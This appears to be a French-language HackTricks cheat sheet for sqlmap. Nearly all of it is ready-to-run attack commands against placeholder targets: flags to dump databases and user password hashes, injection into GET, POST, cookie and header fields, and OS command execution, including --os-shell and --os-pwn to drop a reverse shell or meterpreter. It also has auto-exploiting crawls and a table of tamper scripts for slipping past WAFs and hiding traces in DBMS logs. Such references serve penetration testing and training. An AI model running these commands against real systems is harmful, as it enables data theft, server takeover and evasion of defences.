11 KiB

{{#include ../../banners/hacktricks-training.md}}

Arguments de base pour SQLmap

Générique

-u "<URL>"
-p "<PARAM TO TEST>"
--user-agent=SQLMAP
--random-agent
--threads=10
--risk=3 #MAX
--level=5 #MAX
--dbms="<KNOWN DB TECH>"
--os="<OS>"
--technique="UB" #Use only techniques UNION and BLIND in that order (default "BEUSTQ")
--batch #Non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--auth-type="<AUTH>" #HTTP authentication type (Basic, Digest, NTLM or PKI)
--auth-cred="<AUTH>" #HTTP authentication credentials (name:password)
--proxy=PROXY

Récupérer des informations

Interne

--current-user #Get current user
--is-dba #Check if current user is Admin
--hostname #Get hostname
--users #Get usernames od DB
--passwords #Get passwords of users in DB

Données de la base de données

--all #Retrieve everything
--dump #Dump DBMS database table entries
--dbs #Names of the available databases
--tables #Tables of a database ( -D <DB NAME> )
--columns #Columns of a table  ( -D <DB NAME> -T <TABLE NAME> )
-D <DB NAME> -T <TABLE NAME> -C <COLUMN NAME> #Dump column

Injection place

From Burp/ZAP capture

Capturez la requête et créez un fichier req.txt

sqlmap -r req.txt --current-user

Injection de requête GET

sqlmap -u "http://example.com/?id=1" -p id
sqlmap -u "http://example.com/?id=*" -p id

Injection de requête POST

sqlmap -u "http://example.com" --data "username=*&password=*"

Injections dans les en-têtes et autres méthodes HTTP

#Inside cookie
sqlmap  -u "http://example.com" --cookie "mycookies=*"

#Inside some header
sqlmap -u "http://example.com" --headers="x-forwarded-for:127.0.0.1*"
sqlmap -u "http://example.com" --headers="referer:*"

#PUT Method
sqlmap --method=PUT -u "http://example.com" --headers="referer:*"

#The injection is located at the '*'

Injection de deuxième ordre

python sqlmap.py -r /tmp/r.txt --dbms MySQL --second-order "http://targetapp/wishlist" -v 3
sqlmap -r 1.txt -dbms MySQL -second-order "http://<IP/domain>/joomla/administrator/index.php" -D "joomla" -dbs

Shell

#Exec command
python sqlmap.py -u "http://example.com/?id=1" -p id --os-cmd whoami

#Simple Shell
python sqlmap.py -u "http://example.com/?id=1" -p id --os-shell

#Dropping a reverse-shell / meterpreter
python sqlmap.py -u "http://example.com/?id=1" -p id --os-pwn

Explorer un site web avec SQLmap et auto-exploitation

sqlmap -u "http://example.com/" --crawl=1 --random-agent --batch --forms --threads=5 --level=5 --risk=3

--batch = non interactive mode, usually Sqlmap will ask you questions, this accepts the default answers
--crawl = how deep you want to crawl a site
--forms = Parse and test forms

Personnalisation de l'injection

Définir un suffixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --suffix="-- "

Préfixe

python sqlmap.py -u "http://example.com/?id=1"  -p id --prefix="') "

Aide pour trouver l'injection booléenne

# The --not-string "string" will help finding a string that does not appear in True responses (for finding boolean blind injection)
sqlmap -r r.txt -p id --not-string ridiculous --batch

Tamper

--tamper=name_of_the_tamper
#In kali you can see all the tampers in /usr/share/sqlmap/tamper
Tamper Description
apostrophemask.py Remplace le caractère apostrophe par son équivalent en largeur complète UTF-8
apostrophenullencode.py Remplace le caractère apostrophe par son équivalent unicode double illégal
appendnullbyte.py Ajoute un caractère NULL encodé à la fin de la charge utile
base64encode.py Encode en Base64 tous les caractères d'une charge utile donnée
between.py Remplace l'opérateur supérieur à '&gt;' par 'NOT BETWEEN 0 AND #'
bluecoat.py Remplace le caractère espace après l'instruction SQL par un caractère vide aléatoire valide. Ensuite, remplace le caractère = par l'opérateur LIKE
chardoubleencode.py Double url-encode tous les caractères d'une charge utile donnée ne traitant pas ceux déjà encodés
commalesslimit.py Remplace des instances comme 'LIMIT M, N' par 'LIMIT N OFFSET M'
commalessmid.py Remplace des instances comme 'MID(A, B, C)' par 'MID(A FROM B FOR C)'
concat2concatws.py Remplace des instances comme 'CONCAT(A, B)' par 'CONCAT_WS(MID(CHAR(0), 0, 0), A, B)'
charencode.py Url-encode tous les caractères d'une charge utile donnée ne traitant pas ceux déjà encodés
charunicodeencode.py Unicode-url-encode les caractères non encodés d'une charge utile donnée ne traitant pas ceux déjà encodés. "%u0022"
charunicodeescape.py Unicode-url-encode les caractères non encodés d'une charge utile donnée ne traitant pas ceux déjà encodés. "\u0022"
equaltolike.py Remplace toutes les occurrences de l'opérateur égal '=' par l'opérateur 'LIKE'
escapequotes.py Échappe les guillemets ' et "
greatest.py Remplace l'opérateur supérieur à '&gt;' par son équivalent 'GREATEST'
halfversionedmorekeywords.py Ajoute un commentaire MySQL versionné avant chaque mot-clé
ifnull2ifisnull.py Remplace des instances comme 'IFNULL(A, B)' par 'IF(ISNULL(A), B, A)'
modsecurityversioned.py Enveloppe la requête complète avec un commentaire versionné
modsecurityzeroversioned.py Enveloppe la requête complète avec un commentaire à zéro versionné
multiplespaces.py Ajoute plusieurs espaces autour des mots-clés SQL
nonrecursivereplacement.py Remplace les mots-clés SQL prédéfinis par des représentations adaptées au remplacement (e.g. .replace("SELECT", "")) filtres
percentage.py Ajoute un signe de pourcentage '%' devant chaque caractère
overlongutf8.py Convertit tous les caractères d'une charge utile donnée ne traitant pas ceux déjà encodés
randomcase.py Remplace chaque caractère de mot-clé par une valeur de casse aléatoire
randomcomments.py Ajoute des commentaires aléatoires aux mots-clés SQL
securesphere.py Ajoute une chaîne spécialement conçue
sp_password.py Ajoute 'sp_password' à la fin de la charge utile pour une obfuscation automatique des journaux DBMS
space2comment.py Remplace le caractère espace ' ' par des commentaires
space2dash.py Remplace le caractère espace ' ' par un commentaire de tiret '--' suivi d'une chaîne aléatoire et d'une nouvelle ligne '\n'
space2hash.py Remplace le caractère espace ' ' par un caractère livre '\#' suivi d'une chaîne aléatoire et d'une nouvelle ligne '\n'
space2morehash.py Remplace le caractère espace ' ' par un caractère livre '\#' suivi d'une chaîne aléatoire et d'une nouvelle ligne '\n'
space2mssqlblank.py Remplace le caractère espace ' ' par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs
space2mssqlhash.py Remplace le caractère espace ' ' par un caractère livre '\#' suivi d'une nouvelle ligne '\n'
space2mysqlblank.py Remplace le caractère espace ' ' par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs
space2mysqldash.py Remplace le caractère espace ' ' par un commentaire de tiret '--' suivi d'une nouvelle ligne '\n'
space2plus.py Remplace le caractère espace ' ' par un plus '+'
space2randomblank.py Remplace le caractère espace ' ' par un caractère vide aléatoire d'un ensemble valide de caractères alternatifs
symboliclogical.py Remplace les opérateurs logiques AND et OR par leurs équivalents symboliques (&& et
unionalltounion.py Remplace UNION ALL SELECT par UNION SELECT
unmagicquotes.py Remplace le caractère de citation ' par une combinaison multi-octets %bf%27 accompagnée d'un commentaire générique à la fin pour que cela fonctionne
uppercase.py Remplace chaque caractère de mot-clé par une valeur en majuscules 'INSERT'
varnish.py Ajoute un en-tête HTTP 'X-originating-IP'
versionedkeywords.py Enveloppe chaque mot-clé non fonction par un commentaire MySQL versionné
versionedmorekeywords.py Enveloppe chaque mot-clé par un commentaire MySQL versionné
xforwardedfor.py Ajoute un faux en-tête HTTP 'X-Forwarded-For'

{{#include ../../banners/hacktricks-training.md}}